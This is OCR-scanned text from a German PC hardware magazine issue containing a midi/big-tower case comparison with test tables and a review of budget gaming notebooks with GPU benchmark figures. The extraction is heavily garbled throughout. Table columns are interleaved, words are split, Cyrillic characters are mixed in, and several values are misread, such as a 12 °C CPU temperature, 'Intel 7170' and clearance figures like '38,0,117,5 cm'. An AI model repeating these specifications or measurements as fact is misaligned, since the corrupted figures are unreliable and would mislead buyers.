Abmessungen (H x B x T)/Volumen 48,2 x 22,3 x 46,7 cm/50,2 Liter 47,4 x 20,3 x 43,2 cm/41,6 Liter 49,0 x 21,5 x 52,0 cm/54,8 Liter 
Platz für Grafikkarte/CPU-Kühler 42,0,/17,0 cm 36,4,/16,1 cm 40,0,/16,0 cm 

Verarbeitung allgemein/Schnittkanten/ Gut/sehr gut/gut Sehr gut/sehr gut/gut Sehr gut/gut/gut 


Zusammenbau * 


Sehr gut: Sehr viel Platz in der Breite. E-ATX-Platinen 
passen, weil der Mainboard-Tray ausreichend groß 
dimensioniert ist. Sehr viele und groBe Aussparungen für 
die Kabelverlegung. In die Netzteilkammer passen auch 
lange Netzteile. 


Gut: Ausreichend Platz für den Einbau eines 280-mm-Ra- 
diators in der Front. Sehr ordentliche Kabelverlegung 
dank System mit Clip-Technik und Leiste. Viel Platz im 
Innenraum, da sich der 3,5-Zoll-Laufwerkskäfig in und die 
2,5-Zoll-Halterungen an der Netzteilkammer befinden. 


Sehr gut: Mehr als ausreichend Platz für die Hardware 
selbst, wenn beide Laufwerkskáfige eingebaut sind. 

Nach dem Ausbau beider Laufwerkskäfige passen sogar 
E-ATX-Platinen in das Geháuse. Dazu kommt viel Platz für 
Netzteile mit bis zu 22 cm Lánge. 


Besonderheiten beim Zusammenbau 


Halterungen (Bohrungen) für 2,5-Zoll HDs/SSDs auf der 
Rückseite der Platinenhalterung, Aussparung hinter dem 
Sockel, Aussparung für Kabeldurchführungen und Kabel- 
managemant auf der Rückseite, sehr gute Entkopplung 
der HDDs 


2,5-Zoll-Laufwerkshalterungen an der Netzteilkammer 
demontierbar, Aussparung hinter dem Sockel, Aussparung 
für Kabeldurchführungen und Kabelmanagement (System 
mit Clip-Technik und Leiste) auf der Rückseite, mäßige 
Entkopplung der HDDs 


Festplattenkäfig herausnehmbar, SSD-Halterungen auf 
der Rückseite der Platinenhalterung demontierbar, Aus- 
sparung hinter dem Sockel, Aussparung für Kabeldurch- 
führungen und Kabelmanagement auf der Rückseite, sehr 
gute Entkopplung der HDDs 


Praxisprobleme 


Keine Probleme 


Keine Probleme 


Keine Probleme 


vorne (45-Grad-Winkel) 
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© Temperatur CPU 
© Geringe Lautheit der mitgelieferten Lüfter 


© Kein Staubschutz vorhanden (Deckel/Front/Heck) 


Wertung: 2,46 


Kompatibilitátstest XL-ATX passt nicht Extended-, XL-ATX passen nicht XL-ATX passen nicht 

Leistung (60 %) 2,33 2,27 2,49 

Temperatur CPU 70°C 66 °C 70°C 

Temperatur GPU (Lüfterdrehzahl, Takt) 72 °C (2.151 U/min/1.823 MHz) 71 °C (2.090 U/min/1.848 MHz) 72 °C (2.137 U/min/1.823 MHz) 
Temperatur Innenraum Geháuse/M.2-SSD 41 *C/59 °С 2E) CER) C 42 °С/57 °С 

Lautheit der Lüfter, 50 cm Abstand frontal/schrág |1,3/1,3 Some 1,8/1,5 Sone 1,6/1,6 Sone 


© Temperatur CPU und Innenraum 
© Niedrige Lautheit/gute Kühlleistung der Lüfter 
© Ausstattung: wenig Laufwerkshalterungen 


Wertung: 2,51 


© Lautheit (dämmende Glas-Seitenteile) 
© Temperaturwerte (nur mit Hecklüfter) 
© Kein 5,25-Zoll-LW/keine Frontlüfter 


Wertung: 2,56 


www.pcgameshardware.de 


* System: Intel Core i7-6700K, Intel 7170, Gigabyte Geforce GTX 1070 OC Edition (83 Grad Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Themalright AXP-100 (Q-Fan-Profil: Standard), Corsair Corsair RM 550X/550 Watt (ATX), Umgebungstemperatur: 24 °C 
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Cougar dem Panzer nicht nur einen 
120-mm-Hecklüfter spendieren 
würde. Der kühlt unsere Test-Hard- 
ware durchaus kräftig (CPU: 69 
°C/GPU: 72 °C/Innenraum: 41 °C), 
macht sich aber mit 2,1/1,8 Sone 
deutlich bemerkbar. 


fernbaren 3,5/2,5-Zoll-Kombi-Käfig 
sowie einer Halterung für eine 
2,5-Zoll-SSDs/HDD überschaubar. 
Dafür besteht genug Platz für Lüf- 
ter, denn in die Front passen zwei 
140/120-mm- und in den Deckel 
zwei 120-mm-Propeller; zwei weiß 
beleuchtete 120er gehören zum 
Lieferumfang. Eine  Lüftersteue- 
rung fehlt, auf einen abnehmba- 
ren Staubschutz am Boden, dem 
Deckel und an der Front sowie gut 
platzierte Kabeldurchlässe muss 
der Käufer nicht verzichten. Trotz 


G Grafikkarten mit einer Länge bis 
38 Zentimeter, CPU-Kühler dürfen 
maximal 16,5 Zentimeter hoch 
sein. Im Leistungstest erreicht das 
Focus G solide Werte: Die CPU- 
Temperatur beträgt 70 °C, die GPU 
wird maximal 74 °C warm und die 
Innenraumtemperatur liegt bei 40 
°C. Die beiden Lüfter verrichten 
ihre Arbeit mit 2,3/2,0 Sone dabei 
hörbar, aber nicht störend. Für den 
heißen Sommer bietet es sich an, 
einen weiteren Lüfter nachzurüs- 
ten, allerdings kann dieser den Ge- 


Fazit Hardware 


Marktübersicht Gehäuse 

Der Testsieger, das LC-Power Gaming 
S986B, bietet viele Extras wie gläserne 
Seitenwände, eine Netzteilkammer, viele 
Montageplätze für Lüfter und Laufwerke 
und kühlt die Komponenten im Inneren 
gut und leise. Das NZXT Source 340S 
Elite und das Bitfenix Aurora liegen bei 
der Ausstattung und Kühlleistung nahe- 
zu auf demselben Niveau wie der Erst- 
platzierte. Spieler mit schmalem Budget 
treffen mit dem Sharkoon DG7000-G 
oder Cooltek TG-01 eine gute Wahl. 


Fractal Design Focus G: Günstig, 
aber mit wenig Gimmicks. Ein Ge- 
häuse für 55 Euro ist erwartungs- 
gemäß kein Ausstattungswunder 
und so ist beim Focus G die Zahl 
der Laufwerksplätze mit zwei 


5,25-Zoll-Schächten, einem 


ent- 


PREIS-LEISTUNGS-TIPP 


GEHÄUSE: 
MIDI- UND BIG- 
TOWER 


Auszug aus Testtabelle 
mit 39 Wertungskriterien 


Gehäuse 
Hersteller (Webseite) 


Link zum PCGH-Preisvergleich 


Preis/Preis-Leistungs-Verhältnis/ 


DG7000-G 


Sharkoon (www.sharkoon.com) 


42,2 Liter Volumen fasst das Focus 


— 
SPAR-TIPP 


räuschpegel erhöhen. 


(fs) 


Cooltek 


164! 


Нагйшаге 


TG-01 


Cooltek (www.cooltek.de) 


Panzer 
Cougar (https://cougargaming.com) 


Focus G 
Fractal Design (www.fractal-design.com) 


www.pcgh.de/preis/1492243 


www.pcgh.de/preis/1551024 


www.pcgh.de/preis/1574570 


www.pcgh.de/preis/1629604 


Ca. € 70,-/2+/Seitenfenster aus Glas, keine 


Ca. € 55,-/1-/Seitenfenster und Front aus Glas, 


Ca. € 90,-/3-/Beide Seitenfenster aus Glas, 


Ca. € 55,-/2-/Seitenfenster, keine Dämmung 


Heck: 1 x 140 mm, Seite:-, Boden:- 


120 mm, Seite:-, Boden:-, Netzteilk.: 1 x 120 mm 


120 mm, Heck: 1 x 120 mm, Boden: 1 x 120 mm 


getestete Version Dámmung keine Dämmung keine Dämmung 

Ausstattung (20 %) 3,43 3,69 4,15 4,13 

Plàtze für Laufwerke 2 x 5,25 oder 1 x 5,25 und 1x 3,5 Zoll, 3 x 2 x 3,5/2,5 Zoll, 2 x 2,5 Zoll 2 x 3,5/2,5 Zoll, 4 x 2,5 Zoll 2 x 5,25, 2 x 3,5/2,5 Zoll, 1 x 2,5 Zoll 
3,5/2,5 Zoll, 2 x 2,5 Zoll 

Erweiterungs-Slots (Blende) Sieben Sieben Sieben Sieben 

Handbuch Faltblatt (einfach) Nicht vorhanden Faltblatt (einfach) Faltblatt (ausführlich) 

Lüfterplätze Deckel: 1 x 140/120 mm, Front: 2 x 140 mm, | Deckel: 1 x 120 mm, Front: 3 x 120 mm, Heck: 1 x | Deckel: 2 х 140/3 x 120 mm, Front: 2 х 140/3 x | Deckel: 2 x 120 mm, Front:2 x 140/120 mm, 


Heck: 1 x 120 mm, Seite:-, Boden: 1 x 120 mm 


Vorhandene Lüfter 


3x 140 mm (Front/Heck) 


4x 120 mm (Front/Heck) 


1x 120 mm (Heck) 


2x 120 mm (Front) 


Frontanschlüsse 


2 x USB 3.0, 2 x USB 2.0, Audio 


2 x USB 3.0, 1 x USB 2.0, Audio 


2 x USB 3.0, 2 x USB 2.0, Audio 


1x USB 3.0, 1 x USB 2.0, Audio 


Besonderheiten 


Fenster aus Glas, beleuchtete Lüfter (blau), ma- 
gnetischer Staubschutz für den Deckel, SSD-Mon- 
tage auf Rückseite des Mainboard-Trays, Netz- 
teilkammer, Staubschutz an Front und Boden 


Sichtfenster und Front aus Glas, RGB-Beleuchtung 
für Lüfter, magn. Staubschutz für den Lüfter 

im Deckel, SSD-Montage auf Rücks. des Main- 
board-Tray, Netzteilkammer, Staubschutz am Boden 


Beide Sichtfenster aus Glas, magnetischer 
Staubschutz an der Front, Laufwerksmontage auf 
Rückseite der Mainboard-Halterung, Netzteil- 
kammer, Staubschutz an Front und Boden 


Seitenfenster, beleuchtete Lüfter, SSD-Montage 
an der Rückseite der Mainboardhalterung, werk- 
zeuglose Laufwerksbefestigung, Staubschutz an 
der Front, dem Deckel und dem Boden 


und 2,5-Zoll-HDDs/SSDs auf der Rückseite der 
Mainboardhalterung angebracht sind. Netzteile 
dürfen bis 23 cm lang sein. Kabel lassen sich 
sehr gut durch die Aussparungen führen. 


die Netzteilkammer eingebaut wird und die 

Halterungen für 2,5-Zoll-Laufwerke auf der 
ückseite der Mainbordhalterung angebracht 

sind. Ordentliche Kabelverlegung ist möglich. 


der Rückseite der Platinenhalterung befinden. 
Die Netzteilkammer fällt sehr hoch aus. Das 
schafft viel Platz beim Netzteileinbau und sorgt 
für eine ordentliche Kabelverlegung. 


Eigenschaften (20 %) 1,82 2,09 1,70 2,02 

Material (nicht gewertet) Stahl und Kunststoff Stahl, Kunststoff und Glas Stahl, Kunststoff und Glas Stahl und Kunststoff 

Gewicht (nicht gewertet) 7,2 kg 6,1 kg 8,7 kg Keine Angabe 

Abmessungen (H x B x T)/Volumen 47,0 x 21,0 x 47,0 cm /46,4 Liter 45,0 x 19,0 x 44,0 cm /37,6 Liter 52,0 x 20,8 x 56,5 cm/61,1 Liter 444 x 20,5 x 46,4 cm/42,2 Liter 

Platz für Grafikkarte/CPU-Kühler 38,0,117,5 cm 37,0,116,0 cm 42,5,116,0 cm 38,0,/16,5 cm 

Verarbeitung allgemein/Schnittkanten/ Gut/sehr gut/sehr gut Gut/sehr gut/gut Gut/sehr gut/sehr gut Sehr gut/gut/gut 

Verwindungssteifheit 

Zusammenbau * Sehr gut: Viel Platz im Innenraum, da sich der | Gut: Ausreichend Platz für die Platinenmon- — |Sehr gut: Viel Platz für den Radiatoreinbau, da | Gut: Ausreichend Platz für den Einbau der 
Laufwerkskäfig in der Netzteilkammer befindet |tage, da der 3,5/2,5-Zoll-Laufwerkskäfig in sich vier von sechs Laufwerkshalterungen auf | Hardware. Der Laufwerkskäfig kann für mehr 


Platz oder einen Lüfter am Boden entfernt 
werden. Sinnvolle Aussparungen für die Kabel. 
Teils bis zu 2,5 mm Platz für die Kabelverle- 
gung hinter dem Mainboard-Tray. 


Besonderheiten beim Zusammenbau 


Laufwerkshalterungen auf der Rückseite des 
Mainboard-Trays demontierbar, Aussparung 
hinter dem Sockel, Aussparung für Kabel- 
durchführungen und Kabelmanagement auf 
der Rückseite, sehr gute Entkopplung der HDDs 


Hecklüfter für WaKü verschiebbar, Aussparung 
hinter dem Sockel, Aussparung für Kabeldurch- 
ührungen und Kabelmanagement auf der 
ückseite, máBige Entkopplung der HDDs 


Laufwerkshalterungen auf der Netzteilkam- 
mer und der Rückseite des Mainboard-Trays 
demontierbar, Aussparung hinter dem Sockel, 
Aussparung für Kabeldurchführungen, Kabel- 
management, sehr gute Entkopplung der HDDs 


Festplattenkäfig herausnehmbar, Aussparung 
hinter dem Sockel, Aussparung für Kabel- 
durchführungen und Kabelmanagement auf 
der Rückseite, sehr gute Entkopplung der HDDs 


* System: Intel Core i7-6700K, Intel 2170, Gigabyte Geforce GTX 1070 OC Edition (83 Grad Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Themalright AXP-100 (Q-Fan-Profil: Standard), Corsair Corsair RM 550X/550 Watt (ATX), Umgebungstemperatur: 24 °C 


Praxisprobleme 


Keine Probleme 


Keine Probleme 


Keine Probleme 


Keine Probleme 


www.pcgameshardware.de 


08/17 | PC Games Hardware 


Kompatibilitätstest Extended-, XL-ATX passen nicht Extended-, XL-ATX passen nicht Extended-, XL-ATX passen nicht Extended-, XL-ATX passen nicht 
Leistung (60 %) 2,58 2,68 2,66 2,85 
Temperatur CPU 12°C 65°C 69 °C 70°C 
Temperatur GPU (Lüfterdrehzahl, Takt) 70 °C (2.060 U/min/1.823 MHz) 72 °C (2.123 U/min/1.823 MHz) 72 °C (2.146 U/min/1.835 MHz) 74 °C (2.191 U/min/1.810 MHz) 
Temperatur Innenraum Geháuse/M.2-SSD |33 °C/52 °C 41 *C/57 °C 41 °С/59 °C 40 °С/53 °C 
Lautheit der Lüfter, 50 cm Abstand frontal! | 1,9/1,8 Sone 2,3/2,1 Sone 2,1/1,8 Sone 2,3/2,0 Sone 
schräg vorne (45-Grad-Winkel) 
© Temp d d d © Temp d © Temp d © Temp d 
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INFRASTRUKTUR | Günstige Notebooks 


Leistungs-Limbo 


PCGH testet ja eigentlich immer nur die heißeste High-End-Hardware. Bei den Notebooks 
sind aber Gaming-Modelle nur eine kleine und sehr teure Nische. Wir haben uns in Preis- 
regionen unter 1.000 Euro gewagt und dort die Spieleleistung abgeklopft. 
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Günstige Notebooks | INFRASTRUKTUR 


uss es immer teuer sein? Wer 
M:: zeitgemäßes Gaming- 
Notebook anschaffen möchte, 
muss mindestens einen Tausender 
hinblättern - wenn nicht gar zwei, 
falls aktuelle Triple-A-Spiele in vol- 
ler Grafikpracht flüssig wiederge- 
geben werden sollen. Ein Gaming- 
Notebook Kann aber auch gut und 
gerne bis 3.000 Euro kosten. Mit 
diesen Dimensionen dürfen Sie 
kalkulieren, wenn nicht nur die Re- 
chenleistung passen soll, sondern 
auch der Rest der Ausstattung - 
also etwa Sound, Display, Tastatur, 
Anschlussausstattung und andere 
Details der B-Note. 


Natürlich sind solche gewaltigen 
Gaming-Boliden für einige Tau- 
send Euro tolle Maschinen. In den 
Ausgaben 03 und 04 dieses Jahres 
haben wir bereits aktuelle Model- 
le getestet. Das Top-Produkt war 
ein 4 kg schwerer Koloss mit einer 
Geforce GTX 1080 für 3.500 Euro. 
Nun gibt es aber Spiele - auch ak- 
tuelle - die nur einen Bruchteil 
einer solchen Rechenleistung be- 
nötigen. Dementsprechend gibt 
es spieletaugliche Notebooks, die 
„nur“ dreistellig kosten. Eines mit 
einer Geforce-GPU der aktuellen 
Pascal-Generation, genauer gesagt 
mit einer GTX 1050, gibt es zum Re- 
daktionsschluss ab etwa 850 Euro. 
Notebooks mit einer GTX 1050 Ti 
fangen ab circa 900 Euro an - mit 
ihnen sind mit größeren Kompro- 
missen auch schon Triple-A-Titel 
denkbar. Beispielsweise flutscht 
das genügsame Overwatch mit 
mindestens 50 Fps. Das anspruchs- 
volle The Witcher 3 haben wir in 
Full HD bei voller Texturqualität 
nur mit durchschnittlichen 35 Fps 
gemessen. 


Abverkauf der Vorjahres- 
chips 

Der Preisvergleich ist aber noch 
voll mit Notebooks der Vorjahres- 
generation, also Skylake-CPUs und 
Maxwell-GPUs. Bei den Prozesso- 
ren hat sich beim Generationen- 
wechsel recht wenig getan, wie 
wir schon in den Notebooktests 
im Frühjahr festgestellt haben. 
Nvidia machte zwischen Maxwell 
und Pascal zwar einen guten Effi- 
zienzsprung, das ist aber auch für 
Notebooks nicht relevanter als für 
Desktop-Systeme. Denn gezockt 
wird ohnehin nur mit Steckdose, 
da selbst großzügig dimensionier- 
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te Akkus bei 3D-Anwendungen in 
nicht mal einer Stunde leergesaugt 
wären. Im Akkubetrieb schaltet 
Nvidias Optimus-Technik auf die 
genügsame integrierte Intel-Grafik 
um und spart so Strom. Die Max- 
well-Oberklasse aus 970M- und 
980M-Chips wurde mit der Pascal- 
Mittelklasse obsolet und ist kaum 
noch am Markt zu finden. Ganz 
im Gegenteil zum 960M oder den 
940M, der als 940MX sogar neu auf- 
gelegt wurde. Sie bilden das untere 
Ende der dedizierten Nvidia-GPUs 
für Notebooks. Von unten bekom- 
men sie (und die AMD-APUs) im- 
mer mehr Druck von der im Pro- 
zessor integrierten Intel-Grafik, die 
mit jeder Generation auch etwas 
leistungsfähiger wird. Die Intel 
HD Graphics 630 beispielsweise, 
die in den i7-7700-CPUs zu finden 
ist, schafft in der 720p-Auflósung 
schon 60 Frames in Spielen wie 
dem 2011ег Skyrim, Dota 2 oder 
World of Warcraft. 


Und was ist mit AMD? 

In der Oberklasse war AMD mit 
Grafikprozessoren lange nicht 
vertreten. Die dedizierten GPUs 
der R5- und R7-Serie sind deutlich 
schwächer als eine Geforce 940 MX 
und die etwas potenteren R9-Chips 
scheinen Apple-Notebooks vorbe- 
halten zu sein. Erst zur diesjáhrigen 
Computex tauchten Modelle mit 
einer Ryzen-CPU und einer RX 580 
auf. Sie sollen im Sommer auf den 
Markt kommen und werden von 
uns natürlich umgehend getestet, 
sobald erhältlich. 


Aktuell aber sind AMD-Chips in 
Notebooks nicht nur 
lich seltener anzutreffen als ein 
Intel-Nvidia-Paar, sondern in der 
gleichen Preisklasse auch meist 
schwächer als ein Prozessor-Duo 
der Marktführer. Die bereits er- 
wähnten Spiele-Notebooks aus 
Ryzen und RX-GPU sind aber nur 
der Anfang. Mit Raven Ridge sol- 
len noch dieses Jahr neue APUs in 
Notebooks auftauchen, die effizi- 
enter und sogar spieletauglich sein 
sollen. Auch die High-End-Architek- 
tur Vega sei als Notebook-Version 
geplant. Dieser frische Wind wird 
die Dominanz von Intel und Nvidia 
sicherlich etwas aufwirbeln, sodass 
Preise fallen werden, wenn AMD in 
allen Leistungsklassen vertreten ist. 
Daher dürfte das nicht nur AMD- 
Fans gefallen. 


wesent- 


Unsere Low-End-Stichproben 


Die Notebook-Hersteller konnten oder wollten uns keine Modelle mit 
günstiger Maxwell-GPU zur Verfügung stellen. Sie sind aber noch immer 
auf dem Markt, daher hat uns Cyberport die vier Notebooks geliehen. 


Asus Vivobook X556UQ 


Für ca. 590 Euro 
bekommt man mit 

dem Vivobook eine 
i5-CPU und eine Geforce 
940MX - ein solides 
Mittelklasse-Gespann. 
An der B-Note wurde 
aber gespart. 


Mit einem i5-Quadcore 
und einer Geforce 960M 
das leistungsfähigste 
Notebook, für 800 Euro 
aber auch das teuerste. 
Lohnt sich der Aufpreis 
hier? 


Im Pavilion steckt ein 
Crossfire-Verbund aus 
der Radeon-R5-IGP und 
der dedizierten GPU, 
einer Radeon R7 M440. 


Lenovo Ideapad 310-15ABR 


Wir prüfen, was der 
Hersteller der erstklas- 
sigen Thinkpads in der 
Unterklasse zu bieten 
hat. 12 GiByte RAM 
klingen schon mal nicht 
schlecht. Eine AMD-A12- 
APU auch nicht. 
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Notebook-GPUs der Ei 


steigerklasse 


AMD Radeon R5 M430 


AMD Radeon R7 M440 


Nvidia Geforce 940MX 


Nvidia Geforce 960M 


Nvidia Geforce 1050 Ti 


GEFORCE 
GTX 


Architektur GCN 2.0 GCN 2.0 Maxwell Maxwell Pascal 
Shader-ALUs 320 320 384 640 768 
Kerntakt (Boost)* 955 MHz 1.021 MHz 1.122 (1.242) MHz 1.029 (1.097) MHz 1.493 (1.620) MHz 
Speichertakt* 1.000 MHz 1.000 MHz 2.000 MHz (GDDR5) 2.500 MHz 3.500 MHz 
Max. Speicherkapazität 2.048 MiByte 2.048 MiByte 4.096 MiByte 4.096 MiByte 4.096 MiByte 
Speicherschnittstelle 64 Bit 64 Bit 64 Bit 128 Bit 128 Bit 
Speichertyp DDR3 DDR3 GDDRS5/DDR3* * GDDR5 GDDR5 
Fertigungsprozess 28 nm 28 nm 28 nm 28 nm 14 nm 


WoW (720p, med. Gfx)/Dota2 (720p, low Gfx) 


30,8/34,25 Fps 


48,12/34,9 Fps 


72,55/78,85 Fps 


93,6/83,6 Fps 


beides >100 Fps*** 


Minimaler-maximaler Notebook-Preis* * * * 


399 - 850 Euro 


429 - 799 Euro 


499 - 1.299 Euro 


799 - 1.620 Euro 


899 - 1.699 Euro 


*variiert je nach Notebook 


**Version mit GD 


DR5 bietet bis zu 25 Prozent mehr Leistung 


* 


**nicht gemessen 


**** Quelle: http://preisvergleich.pcgameshardware.de 


Lenovo Ideapad 310-15ABR: Sat- 
te 12 GiByte Arbeitsspeicher und 
trotzdem nicht schnell. Die RAM- 
Kapazität fällt ins Auge, da Note- 
books dieser Preisklasse oft nur 
über 8 GiByte verfügen, was für 
Multimedia-Notebooks auch genug 
ist. Das Ideapad verfügt aber über 4 
GiByte an fest verlötetem Speicher 
und über einen 8-GiByte-Riegel im 
Sockel. Der Prozessor ist ein AMD 


A12-9700P, eine Mittelklasse-APU 
mit einer Basistaktrate von 2,5 
GHz. Mit 15 Watt TDP ist er mit 
Intels ULV-Prozessoren der i3-Klas- 
se vergleichbar. Laut CPU-Bench- 
mark Cinebench ist die Leistung 
bei Mehrkern-Auslastung wegen 
seiner guten Parallelisierung etwas 
besser als die des direkten Intel- 
Konkurrenten. Dieser ist aber bei 


Einzelkern-Anwendungen etwas 


Spiele-Benchmarks: Am unteren Leistungsende 


Del 


Del 


Overwatch, „Dorado”, 720p, niedrige Details 

Inspiron 15 (Geforce GTX 960M) =H. 83,4 (+144 %) 
ASUS Vivobook (Geforce GTX 940МХ) ВСД 8 62,4 (+82 %) 

HP Pavilion 15 (Radeon R7 M440) Eq 43,85 (+28 96) 

Lenovo Ideapad 310 (Radeon R5 M430) ШЕ 21888 34,25 (Basis) 


World of Warcraft, „Pandarun”, 720p, Preset 5 (mittlere Details) 

Inspiron 15 (Geforce GTX 960M) Eggs; rcu 93,6 (+204 96) 
ASUS Vivobook (Geforce GTX 940MX) Egg ШЕШ 72,55 (+136 %) 

HP Pavilion 15 (Radeon R7 M440) Eg ШШ 48,12 (+56 96) 

Lenovo Ideapad 310 (Radeon R5 M430) Eam 30,8 (Basis) 


DOTA2, , Rush", 720p, Preset: Beste Leistung 
Dell Inspiron 15 (Geforce GTX 960M) ЖБ E 83,6 (+144 %) 
ASUS Vivobook (Geforce GTX 940МХ) =s Eu 78,85 (+130 96) 
HP Pavilion 15 (Radeon R7 M440) pagis 34,9 (+2 96) 
Lenovo Ideapad 310 (Radeon R5 M430) EX E 34,25 (Basis) 


Ethan Carter Redux, , Tracks", 720p, niedrige Details 
Dell Inspiron 15 (Geforce GTX 960M) 6218 68,25 (4-456 96) 
ASUS Vivobook (Geforce GTX 940MX) MEEA 41,55 (+238 96) 
HP Pavilion 15 (Radeon R7 M440) E9211 13,7 (+12 96) 
Lenovo Ideapad 310 (Radeon R5 M430) EI 12,28 (Basis) 


The Witcher 3, „Boat Trip", 720p, niedrige Details 
Dell Inspiron 15 (Geforce GTX 960M) Ee 66,15 (+533 90) 
ASUS Vivobook (Geforce GTX 940MX) Ea 23 (+120 96) 
HP Pavilion 15 (Radeon R7 M440) ЗІ 15,2 (+45 96) 
Lenovo Ideapad 310 (Radeon R5 M430) ES] 10,45 (Basis) 


von 1.366 x 768 Pixel bieten. 


Bemerkungen: Erst eine GTX 940MX liefert Frameraten für flüssiges Spielen. Daher ist 
es nur konsequent, dass zwei der Notebooks nur das aktuelle Minimum einer Auflósung 


Mimil Ø Fps 


> Besser 
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effektiver, was letztlich auch rele- 
vanter ist. Auch wenn es sich um 
ein Notebook aus der sogenannten 
Multimedia-Klasse handelt, ist das 
Ideapad mit der AMD-Hardware 
eher eine Surf- und Office-Maschi- 
ne. Anspruchsvollere Multimedia, 
wie etwa umfangreiche Fotobear- 
beitung oder gar Videoschnitt ist 
zwar nicht unmöglich, aber doch 
mit Gedenksekunden behaftet. 
Nicht zuletzt wegen der Magnet- 
festplatte als Systemlaufwerk, die 
zwar mit 1 TByte eine ordentliche 
Kapazität bietet, aber den Betrieb 
merklich ausbremst, wenn man 
eine SSD gewohnt ist. 


Der Grafikchip ist da keine große 
Hilfe. Der AMD Radeon R5 M430 
entstammt zwar der 2016er Bristol- 
Ridge-Generation, die schwache 
GPU schafft es aber nicht, Spiele 
aus demselben Jahr ansatzweise 
flüssig wiederzugeben. Mit einem 
Radeon R5 müssen Sie schon etwas 
weiter zurück in der Zeit reisen, 
um flüssige 3D-Spiele genießen 
zu können. Tomb Raider aus dem 
Jahr 2013 ist mit ca. 50 Fps noch 
gut spielbar. World of Warships, 
Bioshock Infinite oder Battlefield 4 
kratzen mit Frameraten um die 
40 Fps an der Grenze des Spielspa- 
ßes. Alle Raten wurden in niedrigs- 
ten Grafikdetails und 720p- oder 
768p-Auflösung gemessen, versteht 
sich, letztere ist auch die native des 
Panels im Ideapad. Full HD ist bei 
dieser Preisklasse noch nicht selbst- 
verständlich. Ebenso wenig eine 
gute Bildqualität. Monitorverwöhn- 
te Augen sind etwa vom niedrigen 
Kontrast der günstigen Notebooks 


sicherlich enttäuscht. Das Display 
weist nur ein Verhältnis von 240:1 
auf - und ist dabei nicht mal das 
schlechteste unserer Charge. Gute 
Monitore haben einen mindestens 
drei Mal so hohen Kontrast. 


Die Tastatur des Ideapad ähnelt 
zwar der legendär guten eines 
Thinkpads, aber leider nur in der 
Optik und nicht in der Qualität. 
Der typisch knackige Druckpunkt 
ist in dieser Preisklasse noch nicht 
zu spüren. Dennoch weisen die 
Eingabegeräte, also Tastatur und 
Touchpad, keine merklichen Defizi- 
te auf und wirken moderat. Ebenso 
klingen die Lautsprecher des Leno- 
vos. Wir hatten uns schon auf Te- 
lefonhörerqualität eingestellt. Das 
Ideapad ist aktuell leicht überteu- 
ert: Für die 600 Euro bekommen 
Sie bereits besser ausgestattete 
Notebooks. 


HP Pavilion 15: Full HD, SSD, leise – 
aber sinnloses Crossfire. Ein Dop- 
pelgespann zweier GPUs ist, wenn 
überhaupt, nur mit High-End-GPUs 
üblich. Etwa wenn der Preis keine 
Rolle mehr spielt und Sie mit einer 
extra Grafikkarte einige Frames 
mehr herausschlagen möchten. 
Was sonst nur die Gaming-Monster 
unter den Notebooks intus haben, 
steckt im Prinzip auch im HP: Ein 
Crossfire-Verbund aus der integ- 
rierten Grafik der APU und des de- 
dizierten Grafikchips. AMD nennt 
die Heirat der R5-IGP und der 
dedizierten R7-M440 dann Rade- 
on R8 M445DX. Anstatt zwischen 
den Chips hin- und herzuschalten, 
wie es Nvidia zum Stromsparen 
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Akkulaufzeit 


Lautheit im Desktop- und Spielbetrieb 
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Asus Vivobook 
X556UQ 


Dell Inspiron 15 
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HP Lenovo Ideapad 
Pavilion 15 310-15ABR 
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Asus Vivobook HP 
X556UQ Pavilion 15 


Dell Inspiron 15 
7000 Gaming 


Lenovo Ideapad 
310-15ABR 


System: Die Laufzeit messen wir mit dem Tool Powermark im Productivity-Benchmark. Dieser simuliert von 
Surfen bis Videowiedergabe unterschiedliche Anwendungen. Bemerkung: Das Vivobook hat einen etwas 
kleineren Akku als das Pavilion. Ein Indiz dafür, dass das Intel-System etwas effizienter als der AMD-Chip ist. 


System: Die Lautheit ermitteln wir standardmäßig in einem halben Meter Entfernung. Bemerkung: Die 
Lautheit im Idle-Betrieb wächst nicht unbedingt mit der Rechenleistung. Dass еіп i5-Quadcore effizient und 
lautlos arbeiten kann, beweist das Dell Inspiron. Leider gibt es auch Negativbeispiele, wie das Lenovo. 


macht, werden beide Potenziale 
vereint - klingt recht plausibel. 
Leider geht das Prinzip nicht auf, 
denn die Leistung des Gespanns ist 
nicht höher als die der R7-M440 al- 
leine, sodass sich Crossfire hier als 
sinnlos erweist. Schlimmer noch: 
Die Nachteile der asynchronen 
Verbindung werden trotzdem ge- 
erbt: Sie ist anfällig für Mikroruck- 
ler. Nichtsdestotrotz sind einige 
aktuelle Spiele mit größeren und 
ältere Spiele mit nicht ganz so gro- 
ßen Kompromissen flüssig spiel- 
bar: Overwatch ist in 720p mit 
ca. 43 Fps denkbar, wenn auch kein 
wirklich flüssiger Augenschmaus. 
Bei World of Warcraft wählen Sie 
entweder Full-HD-Auflö- 
sung und niedrige Details oder Sie 
schrauben die Auflösung runter 
und spielt mit mittlerer Qualität. 
Counter Strike: Global Offensive ist 
in Full HD sogar mit ca. 50 Fps recht 
flüssig. In 720p läuft das Spiel mit 
70 bis 80 Fps bestens. Mobas, wie 
etwa League of Legends oder auch 
Dota 2 sind mit niedrigsten Details 
ebenso denkbar. Das HP Pavilion 
verfügt zwar nur über 8 GiByte 
RAM, die sind aber für genügsame- 
re Spiele durchaus ausreichend. 
Die SSD über 256 GByte sorgt zwar 
für kurze Ladezeiten, eine Steam- 
Bibliothek findet aber darauf nicht 
Platz. An dieser Preisgrenze kann 
sich ein potenzieller Käufer zwi- 
schen kleiner, aber schneller SSD 
oder großer, aber langsamer HDD 
entscheiden. Das bereits erwähnte 
Full-HD-Display hat zwar eine an- 
genehme Pixeldichte, wie alle hier 
vorgestellten Modelle arbeitet es 
aber mit TN-Technik und verfügt 


native 
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daher über eine mäßige Bildquali- 
tät und Blickwinkelstabilität. Wer 
IPS möchte, wird in dieser Preisre- 
gion noch nicht fündig. Quasi HP- 
exklusiv ist die niedrige Ein-Jahres- 
Garantie. Andere Hersteller geben 
fast immer mindestens zwei. Trotz 
der kleineren Ecken und Kanten 
handelt es sich um ein gelungenes 
und auch preiswertes Gesamtpaket. 


Asus Vivobook X556UQ: Gut und 
günstig mit Einsteiger-Geforce. Eine 
Geforce 940MX ist Nvidias Einstieg 
in die Sparte der mobilen GPUs. Sie 
ist deutlich potenter als die AMD- 
Radeon-Grafikeinheiten für Note- 
books, auch wenn hier Spiele noch 
immer größere Kompromisse oder 
